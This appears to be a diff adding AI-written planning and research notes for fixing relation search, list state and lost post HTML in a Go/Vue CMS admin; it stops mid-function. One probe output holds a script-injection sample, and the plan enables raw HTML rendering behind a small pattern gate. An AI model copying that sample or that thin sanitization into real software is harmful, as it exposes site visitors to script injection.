+Keep the existing guards (`relationFieldName`, `listRelationColumn`, `identifier`, `listInvalid`) and `pattern := "%" + escapeLike(strings.ToLower(term)) + "%"` (L336). Build the subquery from `gorm.Statement{DB: db}.Parse(model)` → `Schema.Relationships.Relations[field]` (RESEARCH Pattern 1 `relationExists` sketch). Aliases `cabana_p<n>` / `cabana_r<n>`.
+
+**Current bug, sort** (L303-309): `db = db.Joins(field)` — keep for `schema.BelongsTo`/`schema.HasOne`; for `HasMany`/`Many2Many` emit `clause.OrderBy{Expression: clause.Expr{SQL: "(SELECT string_agg(...) ...)"}}` with `Desc` handled in SQL. Keep the trailing pk tiebreak (L316-318).
+
+**Identifier helpers to reuse** (L486-497):
+```go
+func qualifiedColumn(db *gorm.DB, table, column string) string {
+	return quotedIdent(db, table) + "." + quotedIdent(db, column)
+}
+func quotedIdent(db *gorm.DB, name string) string { ... db.Dialector.QuoteTo(&b, name) ... }
+```
+Never guess pivot/fk names (README rule).
+
+---
+
+### `modules/cabana/http.go` (controller)
+
+**Route registration** (L253-254) — add the literal route next to `schema/list`, each followed by `constrainController(g)`:
+```go
+g.Get("/{vendor}/{plugin}/{controller}/schema/list", s.listSchema)
+constrainController(g)
+```
+
+**Handler shape / save point** (`list`, L986-1015):
+```go
+func (s *service) list(w http.ResponseWriter, r *http.Request) {
+	s.protect(w, r, func(cc *CompiledController) {
+		db, err := s.db()
+		if err != nil { WriteError(w, http.StatusInternalServerError, "error", msgServerError); return }
+		result, err := ExecuteList(r.Context(), db, cc, listQueryFromRequest(r))
+		var invalid *ListValidationError
+		if errors.As(err, &invalid) {
+			WriteErrorDetails(w, http.StatusUnprocessableEntity, "validation_failed", "Validation failed", invalid.Details)
+			return
+		}
+		if err != nil { WriteError(...); return }
+		// <-- best-effort saveListState(ctx, db, principal.ID, cc id, input); slog.Error on failure
+		...
+		WriteData(w, http.StatusOK, result.Data, meta)
+	})
+}
+```
+The new `listState` handler copies this exact `s.protect` + `s.db()` + `WriteData` skeleton. Controller id is built in `protect` as `vendor.plugin.controller` (L1019).
+
+**Locale order** (`enabledContentLocales`, L966-984): after `codes, err := writer.EnabledLocales(ctx, db)`, call `writer.DefaultLocale(ctx, db)` and move it to index 0 (RESEARCH "Default locale first" sketch). Error path follows `slog.Error("cabana: enabled locales", "error", err)`.
+
+---
+
+### `modules/cabana/list_state.go` (NEW, service, CRUD upsert/read)
+
+**Analog:** `modules/cabana/account.go`
+
+Principal pattern (L214-223):
+```go
+principal, ok := bouncer.User(r.Context())
+if !ok || principal == nil || !principal.Backend || principal.ID == 0 {
+	WriteError(w, http.StatusUnauthorized, "unauthenticated", msgUnauthenticated)
+	return nil
+}
+```
+Query pattern (L227-230) — fresh session scoped to the request context, filter by principal id only:
+```go
+err := tx.Session(&gorm.Session{NewDB: true, Context: ctx}).
+	Clauses(clause.Locking{Strength: "UPDATE"}).
+	Preload("Role").Where("id = ?", id).Take(&user).Error
+if errors.Is(err, gorm.ErrRecordNotFound) { ... }
+```
+Upsert: no non-test `clause.OnConflict` exists in modules yet; use `Clauses(clause.OnConflict{Columns: []clause.Column{{Name: "user_id"}, {Name: "controller"}}, DoUpdates: clause.AssignmentColumns([]string{"state", "updated_at"})})`. Sanitize on restore by reusing `normalizePage`, `normalizeSort`, filter allowlist, `switchArgument`/`parseDateRange`/`scopeArgument` (drop invalid parts, never 422). Cap JSON at 4 KiB.
+
+---
+
+### `modules/cabana/admin_openapi.go` (swag)
+
+**Analog:** `AdminListSchema` (L340-354):
+```go
+// AdminListSchema documents the list schema route.
+//
+// @Summary Admin list schema
+// @Tags admin
+// @Produce json
+// @Security BackendBearer
+// @Param vendor path string true "Vendor"
+// @Param plugin path string true "Plugin"
+// @Param controller path string true "Controller"
+// @Success 200 {object} Envelope[ListSchema]
+// @Failure 401 {object} ErrorEnvelope
+// @Failure 403 {object} ErrorEnvelope
+// @Failure 404 {object} ErrorEnvelope
+// @Router /{vendor}/{plugin}/{controller}/schema/list [get]
+func AdminListSchema() {}
+```
+Add `AdminListState` with `@Router /{vendor}/{plugin}/{controller}/list-state [get]`; extend `AdminList` `@Description` (L433) with one sentence. Regenerate via `scripts/check-admin-openapi.sh`.
+
+---
+
+### `modules/lagoon/backend_admin_migrations.go` (migration)
+
+**Analog** (L120-132):
+```go
+{
+	// WinterCMS ...: rationale comment.
+	ID: "202610090001_backend_users_metadata",
+	Migrate: func(tx *gorm.DB) error {
+		return tx.Exec(`ALTER TABLE backend_users ADD COLUMN IF NOT EXISTS metadata TEXT`).Error
+	},
+	Rollback: func(tx *gorm.DB) error {
+		return tx.Exec(`ALTER TABLE backend_users DROP COLUMN IF EXISTS metadata`).Error
+	},
+},
+```
+New entry `202610100001_backend_list_states` appended last, raw `CREATE TABLE IF NOT EXISTS` (DDL in RESEARCH Pattern 2) / `DROP TABLE IF EXISTS`. Test: extend `backend_admin_migrations_test.go` (keep the prohibited-tables loop L117-121 including `backend_user_preferences`).
+
+---
+
+### `admin/src/views/ListView.vue` (component)
+
+**Current entry** (L113-153):
+```ts
+function replaceQuery(next: ListQuery): void {
+  void router.replace({ path: route.path, query: toListQuery(next) })
+}
+let generation = 0
+async function loadList(): Promise<void> {
+  const current = ++generation
+  ...
+  const result = await api.GET('/{vendor}/{plugin}/{controller}', { params: { path, query: query.value } })
+  if (current !== generation) return
+  ...
+}
+watch(() => listQueryKey(query.value), () => { selected.value = []; searchText.value = query.value.search ?? ''; void loadList() }, { immediate: true })
+```
+Change: drop `immediate: true`; add an entry routine that, on empty `parseListQuery(route.query)`, calls `api.GET('/{vendor}/{plugin}/{controller}/list-state', { params: { path } })` then `replaceQuery(state)` or `loadList()`. Track the last key set by `replaceQuery` for same-path re-entry. Page clamp after `loadList` on `meta.page > meta.last_page`. Reuse `parseListQuery`/`toListQuery`/`listQueryKey` from `admin/src/app/listQuery.ts`. FormView unchanged.
+
+**Test analog** (`admin/tests/list/ListView.test.ts` L18-27):
+```ts
+const BASE = `${API}/acme/demo/widgets`
+function routes(overrides: Record<string, Route> = {}): Record<string, Route> {
+  return { [`GET ${BASE}/schema/list`]: { body: listSchemaFixture }, [`GET ${BASE}`]: { body: listFixture }, ...overrides }
+}
+```
+Add `[`GET ${BASE}/list-state`]` route; assert ordering with `requestsTo(calls, 'GET', BASE)` (L64, L234-258 pattern).
+
+---
+
+### `../sm-journal-plugin/classes/format_html.go` (utility, transform)
+
+**Current** (L9-18):
+```go
+import (
+	"github.com/yuin/goldmark"
+	"github.com/yuin/goldmark/extension"
+	"github.com/yuin/goldmark/parser"
+)
+var (
+	markdownEngine = goldmark.New(
+		goldmark.WithExtensions(extension.Footnote, extension.Table),
+		goldmark.WithParserOptions(parser.WithAttribute()),
+	)
+```
+Add `"github.com/yuin/goldmark/renderer/html"` and `goldmark.WithRendererOptions(html.WithUnsafe())`. Note: `FormatHTML` has a local variable named `html` (L33) that will shadow the package; rename the local (e.g. `out`). Keep `rejectUnsafe` call unchanged. Do not touch `cabana.RenderMarkdown`.
+
+## Shared Patterns
+
+### Permission gate before SQL
+**Source:** `modules/cabana/http.go` `protect` (L1016+). **Apply to:** `list`, new `listState`. Controller lookup → principal check → permission → fn.
+
+### Error envelopes
+**Source:** `WriteError`, `WriteErrorDetails`, `WriteData`, `msgServerError` as used in `list` (L990-1013). **Apply to:** list-state route. Save failures: `slog.Error("cabana: ...", "error", err)`, never fail the response.
+
+### ML writer test double
+**Source:** `modules/cabana/ml_smoke_test.go` L67-72 `recordingWriter{defaultLocale, enabled, ...}`; usage `ml_test.go:51` `&recordingWriter{defaultLocale: "en", enabled: []string{"en", "pl"}}`. **Apply to:** `TestEnabledLocalesDefaultFirst` with `defaultLocale: "pl"`.
+
+### Commit hygiene (D-02)
+Cabana/lagoon changes in their own commits, staged by explicit path; run `git status --porcelain -- modules admin` before each cabana task. Rebuild `modules/boardwalk/dist` and regenerate OpenAPI in the same change as SPA/swag edits; update cabana/lagoon READMEs and `docs/backend/lists-and-filters.md`.

+# Phase 16.1: Journal admin urgent fixes: relation search, list state, post form content and excerpt - Research
+
+**Researched:** 2026-10-09
+**Domain:** summercms.go `modules/cabana` (GORM list queries, admin JSON API, Vue admin SPA), `sm-journal-plugin` (post save path), UAT release
+**Confidence:** HIGH for the three root causes (each reproduced by a probe or read from the UAT database); MEDIUM for the list-state design (Claude's discretion area)
+
+<user_constraints>
+## User Constraints (from CONTEXT.md)
+
+### Locked Decisions
+- **D-01: List state lives in both the URL and the server session.** Sort, filters, search and page are reflected in the list URL query string (shareable, bookmarkable, back-button friendly). When the list is opened without list-state query parameters (for example from the admin navigation), the last state stored in the user's session for that list is restored. When the URL carries list-state parameters, the URL wins and also updates the session. User's words: "I may go back to Posts list through navigation and it's great if my filters were remembered + sharable URLs are nice to have."
+- **D-02: The relation-search fix is a framework fix in summercms.go `modules/cabana`**, generic for belongsToMany (pivot) relations, not a Journal-specific workaround. Another session is concurrently working in `modules/`; plans must keep cabana changes in their own commits, stage files explicitly by path, and check for conflicting in-flight edits before touching shared cabana files.
+- **D-03: Content and excerpt must show the stored values without loss.** Root cause is to be established by research (suspects: translatable-field overlay replacing host values with empty translations; the markdown widget not displaying imported HTML). Saving a post from the admin must not destroy imported HTML (see todo `journal-imported-html-admin-resave.md`); if a full fix needs the Blog Editor, 16.1 at least prevents data loss and 16.2 delivers the editor.
+- **D-04: Ship to UAT.** Release a summercms tag carrying the cabana fixes (unless the concurrent session's release already includes them), bump `sm-grzybyfunkcjonalne-app`, redeploy to uat.grzybyfunkcjonalne.pl per its DEPLOY.md, and re-run `scripts/smoke.sh --url` on the server.
+
+### Claude's Discretion
+- Session storage mechanism and query-parameter naming for list state, following existing cabana conventions.
+- Test strategy, within the lean-mode rule that unit tests are the last plan of the phase.
+
+### Deferred Ideas (OUT OF SCOPE)
+- Plugin-provided field types and the Blog Editor formwidget (Phase 16.2). (CONTEXT.md has no separate Deferred section; this is its "Out of scope" line.)
+</user_constraints>
+
+<phase_requirements>
+## Phase Requirements
+
+No requirement IDs are mapped. The CONTEXT decisions are the requirement set.
+
+| ID | Description | Research Support |
+|----|-------------|------------------|
+| D-01 | List sort, filters, search and page in the URL and a per-user server store; restore when the list opens without params | "List state" pattern: the URL params already exist; add the `backend_list_states` table, a `GET .../list-state` restore route, a save inside the list handler, and the ListView entry logic |
+| D-02 | Generic cabana fix for search over belongsToMany (and sort over to-many) relations | Root cause reproduced: `db.Joins("Categories")` on a many2many builds `"Categories"."post_id"`. Fix: correlated `EXISTS` subqueries built from GORM's parsed relationship |
+| D-03 | Post form shows the stored content and excerpt, and a save never destroys imported HTML | Root cause 1: the first enabled locale is `en`, and no `en` translations exist. Fix: default locale first in `meta.enabledLocales`. Root cause 2: `FormatHTML` drops raw HTML. Fix: `html.WithUnsafe()` plus the existing gate. 2 UAT posts already damaged; repair them after the deploy |
+| D-04 | Tag, bump, redeploy, smoke | Release mechanics: the host builds against the `../summercms.go` working tree through a replace. The bump is the journal submodule pointer. The new migration needs `bin/grzybyfunkcjonalne migrate` on the server |
+</phase_requirements>
+
+## Project Constraints (from CLAUDE.md)
+
+- Go 1.27, standard library first; add a dependency only when the research doc or a phase decision names it. **This phase adds none.** `github.com/yuin/goldmark/renderer/html` is a sub-package of goldmark v1.8.6, which sm-journal-plugin already requires.
+- `go vet` and `go test ./...` must be green at every commit.
+- Compiled plugins only; no runtime plugin loading.
+- API parity: do not "improve" Journal API response shapes. The `content`/`content_html` contract stays unchanged (todo file).
+- Unit tests are always the **last plan** of the phase. Before writing plans, present the plan count with one-line scopes (checkpoint).
+- Commits:
+  - no co-author tags;
+  - one logical change per commit;
+  - planning docs and code in separate commits.
+- D-02 adds three rules for this phase:
+  - cabana changes go in their own commits;
+  - stage files by explicit path;
+  - check for in-flight edits before touching shared cabana files.
+- A change to a `modules/` package's exported API, config keys, CLI commands or dependencies updates that module's `README.md` in the same change. It also updates the affected `docs/` pages (`docs/backend/lists-and-filters.md`). `go test ./cmd/summer -run TestDocsTree` and `summer docs:build --check` must pass. Every identifier named in docs must exist.
+- Framework READMEs never name a consuming application. Use `blog`/`acme`, not Journal or grzybyfunkcjonalne, in cabana or lagoon docs.
+- SPA changes: rebuild `modules/boardwalk/dist` (`npm --prefix admin run build`) and commit it (`scripts/check-admin-dist.sh` is the drift gate). Swag annotation changes: regenerate `admin/openapi/admin.json` and `admin/src/api/schema.d.ts` (`scripts/check-admin-openapi.sh`, `--check` to verify).
+- The PHP originals are not changed. Core plugin contracts (user, blog, pages, payment) stay unchanged.
+
+## Summary
+
+Each of the four UAT defects has one confirmed cause.
+
+**(1) Relation search fails.** `applyListSearch` joins every searched relation with `db.Joins(field)` [VERIFIED: modules/cabana/query.go:351-357]. GORM's association `Joins` only fits to-one relations. On a many2many it emits `LEFT JOIN "golem15_journal_categories" "Categories" ON "golem15_journal_posts"."id" = "Categories"."post_id" AND "golem15_journal_posts"."category_id" = "Categories"."id"`, which is the UAT error, reproduced this session with a GORM v1.31.2 DryRun probe.
+
+`applyListOrder` has the same bug for sorting by a to-many column (query.go:309). The code that ran on UAT is v0.1.15. Since v0.1.9, query.go only gained the to-many display join (`relatedSelectMany`). The bug is unchanged at HEAD.
+
+The fix that matches Winter is a correlated `EXISTS` subquery per relation search term. Winter's Lists widget uses `orWhereHas` for search [VERIFIED: examples/golem15-wintercms-starter/modules/backend/widgets/Lists.php:529-531]. Build the subquery from GORM's own parsed relationship (`schema.Relationship.References` / `JoinTable`), not from guessed names.
+
+**(2) List state is lost.** The list state already lives in the URL query (`search`, `sort`, `dir`, `page`, `per_page`, `filter[<name>]`) [VERIFIED: admin/src/app/listQuery.ts; modules/cabana/query.go:62-84]. The form's back link, close and save redirects, and the navigation all go to the bare list path (`go(listPath)`, FormView.vue:60/403/439), so the state is dropped.
+
+There is no server session: admin auth is a stateless JWT cookie whose jti rotates on refresh. The table that would play this role in Winter, `backend_user_preferences`, was explicitly not ported in Phase 9; a test asserts it is absent. Recommendation: a small framework table `backend_list_states` keyed (user_id, controller), a `GET .../list-state` restore route, and a best-effort save inside the existing list handler after a successful query. ListView restores before its first load whenever it is entered with no list params.
+
+**(3)+(4) The form shows empty content and excerpt.** The data is fine. On UAT, `golem15_translate_locales` has `en|f|t|1` and `pl|t|t|2`: en is enabled, sorted first, and not the default. There are **0** rows in `golem15_translate_attributes`. `EnabledLocales` returns codes `ORDER BY sort_order` → `["en","pl"]`. Every ML control opens on `locales[0]`, which is `en`, so the form shows the empty en values of title, slug, content and excerpt. The record heading hides this for the title, because it falls back to the first non-empty locale.
+
+Fix in cabana: send the default locale first in `meta.enabledLocales`. This one server function fixes the form, the preview screen and relation child modals.
+
+Separately, **saving destroys imported HTML**. `preparePostWrite` runs `classes.FormatHTML(post.Content)`, which is goldmark *without* `html.WithUnsafe()`. Probe this session: it turns all 100 imported pl bodies into `<!-- raw HTML omitted -->`. With `html.WithUnsafe()` it returns all 100 unchanged (trim-equal), and the existing 3-pattern gate still rejects script, iframe, event handlers and javascript/data URLs. This is PHP parity: Winter's `Markdown::parse` passes raw HTML through.
+
+UAT already has **2 posts whose `content_html` was wiped at import**. They have no pl translation and raw HTML in the base content:
+- id 53 `czy-amanita-muscaria-jest-legalna` (draft);
+- id 64 `ekstrakt-z-turkey-tail` (**published**, missing its author footer).
+
+Re-render both after the fix ships.
+
+**Primary recommendation:** five changes, then release v0.1.16 and redeploy:
+1. cabana: relation search and sort through `EXISTS` and correlated subqueries built from `gorm.Statement.Parse` relationships.
+2. cabana: default locale first in `enabledLocales`.
+3. cabana and SPA: list-state table, restore route and ListView entry logic.
+4. sm-journal-plugin: `FormatHTML` with `html.WithUnsafe()` behind the existing gate.
+5. After the deploy: re-save posts 53 and 64.
+
+## Architectural Responsibility Map
+
+| Capability | Primary Tier | Secondary Tier | Rationale |
+|------------|-------------|----------------|-----------|
+| Relation search/sort SQL | API / Backend (cabana `query.go`) | Database (Postgres EXISTS) | Allowlisted SQL is built only server-side; the SPA sends only names |
+| List state persistence | API / Backend (cabana list handler + new route) | Database (`backend_list_states`) + Browser (ListView entry logic, URL) | D-01 asks for server storage; the URL stays the shareable source |
+| Restore-on-entry decision | Browser (ListView) | API (restore route sanitizes) | Only the SPA knows whether the list was entered from navigation or changed by the user |
+| ML default locale ordering | API / Backend (cabana `enabledContentLocales`) | Browser (MLField uses `[0]`) | A single server ordering fixes every SPA consumer of `meta.enabledLocales` |
+| content → content_html rendering | API / Backend (sm-journal-plugin `classes.FormatHTML`) | — | Shared by admin save, import and Journal API writes |
+| Release / deploy | Host repo + server ops | — | The host compiles the framework working tree through a replace |
+
+## Standard Stack
+
+### Core (all already in go.mod / package.json; versions read this session)
+| Library | Version | Purpose | Why Standard |
+|---------|---------|---------|--------------|
+| gorm.io/gorm | v1.31.2 | `gorm.Statement.Parse` → `schema.Relationship` (Type, References, JoinTable, FieldSchema) for the EXISTS builder | Already the ORM; its parsed relationship is the only reliable source of pivot/fk names [VERIFIED: probe output below] |
+| gorm.io/gorm/schema | v1.31.2 | `schema.Many2Many` ("many_to_many"), `schema.HasMany` ("has_many"), `schema.BelongsTo`, `schema.HasOne` | Relation type switch [VERIFIED: probe printed `type: many_to_many`, `has_many`] |
+| github.com/yuin/goldmark | v1.8.6 (sm-journal-plugin go.mod) | `goldmark.WithRendererOptions(html.WithUnsafe())` from `github.com/yuin/goldmark/renderer/html` | Same module, new import only [VERIFIED: probe compiled against the cached v1.8.6] |
+| gormigrate/v2 | v2.1.7 | New migration appended to `lagoon.BackendAdminMigrations` | Existing framework migration list (`summercms.cabana` history) [VERIFIED: modules/lagoon/backend_admin_migrations.go:21, migrations.go:75] |
+| vue-router | 5.1.0 | `router.replace` for restore, as ListView already does | Existing [VERIFIED: admin/package.json] |
+
+### Alternatives Considered
+| Instead of | Could Use | Tradeoff |
+|------------|-----------|----------|
+| EXISTS per relation | `Joins` + `DISTINCT` / `GROUP BY` | Duplicate rows inflate `Count`, unqualified outer predicates (`id IN (...)` in Journal `FilterCategories`, `user_id = ?` in `restrictToOwnPosts`) become ambiguous; not Winter parity |
+| `backend_list_states` table | `backend_users.metadata` JSON key | metadata is Winter's TEXT jsonable copied at cutover (202610090001); read-modify-write races between tabs; pollutes a copied column |
+| `backend_list_states` table | Winter `backend_user_preferences` | Phase 9 D-01 left it unported and `backend_admin_migrations_test.go:116` asserts it is absent; reviving it reverses a decision and its non-unique `user_item_index` cannot back an upsert |
+| Server-side table | Browser `sessionStorage` | Contradicts D-01 ("server session") |
+| Default-locale-first in cabana | Reorder in sm-translate-plugin `AdminWriter.EnabledLocales` | Plugin-specific; any other TranslationWriter would keep the bug |
+| Default-locale-first | New `meta.defaultLocale` + SPA changes | More SPA surface and OpenAPI change; same user-visible result. Dropdown order changes from sort_order to default-first (cosmetic) |
+| `html.WithUnsafe()` | Detect HTML (`^\s*<`) and store as-is through `CheckHTML` | Heuristic, and post 64 is markdown with trailing raw HTML (would still be wiped); not PHP parity |
+
+**Installation:** none, because no new modules are added.
+
+## Package Legitimacy Audit
+
+No external packages are installed. `github.com/yuin/goldmark/renderer/html` is a package inside the already-required `github.com/yuin/goldmark v1.8.6`. No npm packages are added.
+
+**Packages removed due to [SLOP] verdict:** none
+**Packages flagged as suspicious [SUS]:** none
+
+## Root-cause evidence
+
+### Defect 1: relation search (D-02)
+
+The search code [VERIFIED: modules/cabana/query.go:345-357, read this session]:
+```go
+			field, ok := relationFieldName(model, col.Relation)
+			physical := listRelationColumn(controller, col.Relation, col.Select)
+			...
+			// GORM aliases the joined association with the Go field name.
+			table = field
+			column = physical
+			if _, done := joined[field]; !done {
+				db = db.Joins(field)
+```
+The sort code does the same, `db = db.Joins(field)` [VERIFIED: query.go:309].
+
+The Journal model declares the relation as `Categories []Category \`gorm:"many2many:golem15_journal_posts_categories;" json:"-"\`` [VERIFIED: sm-journal-plugin/models/post.go:34]. The posts list column is:
+```yaml
+    categories:
+        label: golem15.journal::lang.post.categories
+        relation: categories
+        select: name
+        searchable: true
+        sortable: false
+```
+[VERIFIED: sm-journal-plugin/models/post/columns.yaml]
+
+GORM v1.31.2 DryRun probe (scratch module, same model shape), output pasted:
+```
+JOINS: SELECT count(*) FROM "golem15_journal_posts" LEFT JOIN "golem15_journal_categories" "Categories" ON "golem15_journal_posts"."id" = "Categories"."post_id" AND "golem15_journal_posts"."category_id" = "Categories"."id" WHERE LOWER(CAST("Categories"."name" AS TEXT)) LIKE '%x%'
+type: many_to_many jointable: golem15_journal_posts_categories
+ ref: fk=golem15_journal_posts_categories.post_id pk=golem15_journal_posts.id ownPrimaryKey=true pvalue=""
+ ref: fk=golem15_journal_posts_categories.category_id pk=golem15_journal_categories.id ownPrimaryKey=false pvalue=""
+hasmany type: has_many field schema: comments
+ ref: fk=comments.post_id pk=golem15_journal_posts.id own=true
+```
+The error happens at `query.go:129`, the `Count`, which is the first statement executed.
+
+The log names `summercms@v0.1.9`, but that is only the version sm-journal-plugin's go.mod *requires* (`git.golem15.com/golem15/summercms v0.1.9`). The code that ran is the `../summercms.go` working tree at 296b9cd, which descends from v0.1.15 with docs-only changes since. At HEAD, query.go differs from v0.1.9 only by `relatedSelectMany` (display), so **the bug is still present at HEAD**.
+
+There are no uncommitted `modules/` edits right now. The checkout is 13 docs commits ahead of origin/master.
+
+### Defect 2: list state (D-01)
+
+- **URL params already exist.** `listQueryFromRequest` reads `search`, `sort`, `dir`, `page`, `per_page` and `filter[<name>]` (`listSearchTerm = "search"` [VERIFIED: modules/cabana/list_schema.go:20]; query.go:62-84). The SPA mirrors them in `parseListQuery`/`toListQuery` [VERIFIED: admin/src/app/listQuery.ts], and ListView changes them with `router.replace` (ListView.vue:114-116).
+- **Where the state is dropped.**
+  - FormView: `const listPath = controllerPath(controllerId) ?? '/'` (FormView.vue:60), `await go(listPath)` after save (403), `await go(backPath.value)` for back (439).
+  - The navigation and breadcrumb links use the bare controller path.
+  - Browser Back works today. Every in-app return loses the state.
+- **ListView start-up.** It loads through `watch(() => listQueryKey(query.value), ..., { immediate: true })` (ListView.vue:146-153). The first request is fired at setup, before any restore could run.
+- **No server session.**
+  - Login mints a JWT into an HttpOnly cookie (`auth.go` `writeSessionCookie`).
+  - Refresh rotates the token and jti (`bouncer.RefreshAudienceFor`).
+  - Logout only blacklists the jti.
+  - Phase 9 left out Winter's preference table ("`backend_user_groups` and Winter's user-preference and access-log tables: not needed by any Golem15 plugin yet" [VERIFIED: .planning/phases/09-.../09-CONTEXT.md:126]), and `backend_admin_migrations_test.go:116` fails if `backend_user_preferences` exists.
+- **What Winter does.** It keeps sort (`putSession('sort', ...)`), search term (`putSession('term', ...)`), filter scopes and `lastVisitedPage` in the session, and per_page in user preferences [VERIFIED: Lists.php:233,289,1773; Search.php:158; Filter.php:959].
+
+### Defects 3 and 4: empty content and excerpt (D-03)
+
+Read-only UAT probe (ssh `grzybyfunkcjonalne-uat`, psql over the peer socket, SELECT only), output pasted:
+```
+code|is_default|is_enabled|sort_order
+en|f|t|1
+pl|t|t|2
+locale|model_type|count
+(0 rows)
+posts|content|html|excerpt|title|content_starts_html
+104|104|104|100|104|101
+```
+- **Where the order comes from.** The translate seed inserts `SELECT 'en', 'English', TRUE, TRUE, 1` and `SELECT 'pl', 'Polski', FALSE, TRUE, 2` [VERIFIED: sm-translate-plugin/updates/202610060005_seed_en_pl_locales.go:13-18]. migrate.sh only runs `UPDATE golem15_translate_locales SET is_default = (code = 'pl')` (scripts/migrate.sh:173), so en stays enabled and first.
+- **The writer keeps that order.** `AdminWriter.EnabledLocales` runs `Where("is_enabled = ?", true).Order("sort_order asc")` [VERIFIED: sm-translate-plugin/classes/admin_writer.go:31-35], and cabana copies the result into the form schema (`view.Meta.EnabledLocales = append([]string(nil), codes...)`, http.go:727-729).
+- **The server sends the right data.** `hydrateMLRecord` puts the host column under the default locale (`if code == defaultLocale { out[code] = host`, field_ml.go:208-211). An en key with no stored translation is `out[code] = ""` (field_ml.go:217-219).
+- **The SPA opens on the wrong locale.**
+  - `const activeLocale = ref(locales.value[0] ?? 'en')` (MLField.vue:30).
+  - `function firstMLLocale(): string { return schemaEnabledLocales(schema.value?.meta)[0] ?? 'en' }` (FormView.vue:227-229).
+  - So every ML control (title, slug, content and excerpt) opens on `en`, which is empty. The user reported only content and excerpt, but title and slug are empty in the inputs as well.
+
+**Data loss on save.**
+- The save path: `html, err := classes.FormatHTML(post.Content)` … `post.ContentHTML = html` (sm-journal-plugin/controllers/posts.go:213-219). The engine is `goldmark.New(goldmark.WithExtensions(extension.Footnote, extension.Table), goldmark.WithParserOptions(parser.WithAttribute()))`, with no unsafe renderer (classes/format_html.go:15-18).
+- PHP parity: `formatHtml` stores `trim($input)` when `use_rich_editor` is on, otherwise `Markdown::enableFootnotes()->enableAttributes()->enableTables()->parse(trim($input))`, then `Html::clean` [VERIFIED: grzybyfunkcjonalne.pl/plugins/golem15/journal/models/Post.php:185-208]. Winter's Markdown passes raw HTML through [ASSUMED: Parsedown default, not re-read this session; consistent with the export, where 83/100 pl `content_html` equal `content` byte for byte and the other 17 differ only by `&quot;` → `"`].
+- Probe over the 100 pl bodies of the journal export (goldmark v1.8.6, the same options), output pasted:
+```
+total=100 safe_omitted=100 unsafe_exact=0 unsafe_trim_equal=100
+sample safe="<!-- raw HTML omitted -->\n"
+sample unsafe="<p>a</p>\n<p>b</p>"
+md unsafe="<h1>T</h1>\n<p>text <b>x</b></p>\n<script>alert(1)</script>"
+```
+The last line shows why the existing `rejectUnsafe` gate must stay after the unsafe render. None of the 105 export bodies match any of the three gate patterns, so no imported post will be refused on save.
+
+**Already damaged on UAT** (read-only probe):
+```
+wiped|edited_after_import|admins
+2|0|1
+id 53 czy-amanita-muscaria-jest-legalna  published=f  content_html = <!-- raw HTML omitted -->
+id 64 ekstrakt-z-turkey-tail             published=t  content_html ends with 3x <!-- raw HTML omitted --> (author <footer> + <style>)
+```
+Both come from export files with `"translations": []`: base content containing raw HTML went through the safe `FormatHTML` at import (console/import_posts.go:185). Probe with the unsafe renderer:
+- `czy-amanita-muscaria-jest-legalna`: gate passes, equal to the PHP `content_html` after whitespace normalization.
+- `ekstrakt-z-turkey-tail`: gate passes, includes `<footer` and `<style>`, 5643 vs 5655 bytes against PHP.

+
+### Pattern 1: relation search through EXISTS (generic, Winter `orWhereHas` parity)
+
+**What:** for each searchable column with `relation:`, emit one `EXISTS (...)` term inside the existing OR group instead of `db.Joins(field)`. Read the relationship from GORM's schema parse. Validate the selected column against the related schema.
+
+**When to use:** every relation type in **search**. For **sort**, keep `Joins` for `belongs_to`/`has_one`, which works and is tested (`artist` column in query_test.go). Use a correlated scalar subquery for `has_many`/`many_to_many`.
+
+GORM wraps an OR expression in parentheses when it is combined with other `Where`s. Verified by DryRun:
+```
+SELECT count(*) FROM "golem15_journal_posts" WHERE user_id = 3 AND (LOWER(CAST("golem15_journal_posts"."title" AS TEXT)) LIKE '%x%' ESCAPE '\' OR EXISTS (SELECT 1 FROM "golem15_journal_posts_categories" AS "p0" JOIN "golem15_journal_categories" AS "r0" ON "r0"."id" = "p0"."category_id" WHERE "p0"."post_id" = "golem15_journal_posts"."id" AND LOWER(CAST("r0"."name" AS TEXT)) LIKE '%x%' ESCAPE '\')) AND published = true
+```
+
+Skeleton, using cabana's existing `qualifiedColumn`, `quotedIdent`, `identifier`, `tableName` and `listInvalid` helpers. The relationship API names come from the probe; the shape is a sketch:
+```go
+// relationExists returns "EXISTS (...)" matching LOWER(CAST(rel.column AS TEXT)) LIKE ?
+// for the relation behind Go field `field`, correlated to the main table.
+func relationExists(db *gorm.DB, model any, field, column string, n int) (string, error) {
+	stmt := &gorm.Statement{DB: db}
+	if err := stmt.Parse(model); err != nil {
+		return "", err
+	}
+	rel, ok := stmt.Schema.Relationships.Relations[field]
+	if !ok || rel.FieldSchema == nil || rel.FieldSchema.LookUpField(column) == nil {
+		return "", listInvalid("search", "is not searchable")
+	}
+	main := tableName(model)            // the unaliased outer FROM table
+	r := fmt.Sprintf("cabana_r%d", n)   // alias: safe for self-referencing relations
+	match := fmt.Sprintf("LOWER(CAST(%s AS TEXT)) LIKE ? ESCAPE '\\'", qualifiedColumn(db, r, column))
+	var on, where []string
+	switch rel.Type {
+	case schema.Many2Many:
+		p := fmt.Sprintf("cabana_p%d", n)
+		for _, ref := range rel.References {
+			if ref.OwnPrimaryKey { // pivot.owner_fk = main.pk
+				where = append(where, qualifiedColumn(db, p, ref.ForeignKey.DBName)+" = "+qualifiedColumn(db, main, ref.PrimaryKey.DBName))
+			} else { // pivot.related_fk = related.pk
+				on = append(on, qualifiedColumn(db, p, ref.ForeignKey.DBName)+" = "+qualifiedColumn(db, r, ref.PrimaryKey.DBName))
+			}
+		}
+		return fmt.Sprintf("EXISTS (SELECT 1 FROM %s AS %s JOIN %s AS %s ON %s WHERE %s AND %s)",
+			quotedIdent(db, rel.JoinTable.Table), quotedIdent(db, p),
+			quotedIdent(db, rel.FieldSchema.Table), quotedIdent(db, r),
+			strings.Join(on, " AND "), strings.Join(where, " AND "), match), nil
+	case schema.HasMany, schema.HasOne: // related.fk = main.pk
+		for _, ref := range rel.References {
+			where = append(where, qualifiedColumn(db, r, ref.ForeignKey.DBName)+" = "+qualifiedColumn(db, main, ref.PrimaryKey.DBName))
+		}
+	case schema.BelongsTo: // related.pk = main.fk
+		for _, ref := range rel.References {
+			where = append(where, qualifiedColumn(db, r, ref.PrimaryKey.DBName)+" = "+qualifiedColumn(db, main, ref.ForeignKey.DBName))
+		}
+	default:
+		return "", listInvalid("search", "is not searchable")
+	}
+	return fmt.Sprintf("EXISTS (SELECT 1 FROM %s AS %s WHERE %s AND %s)",
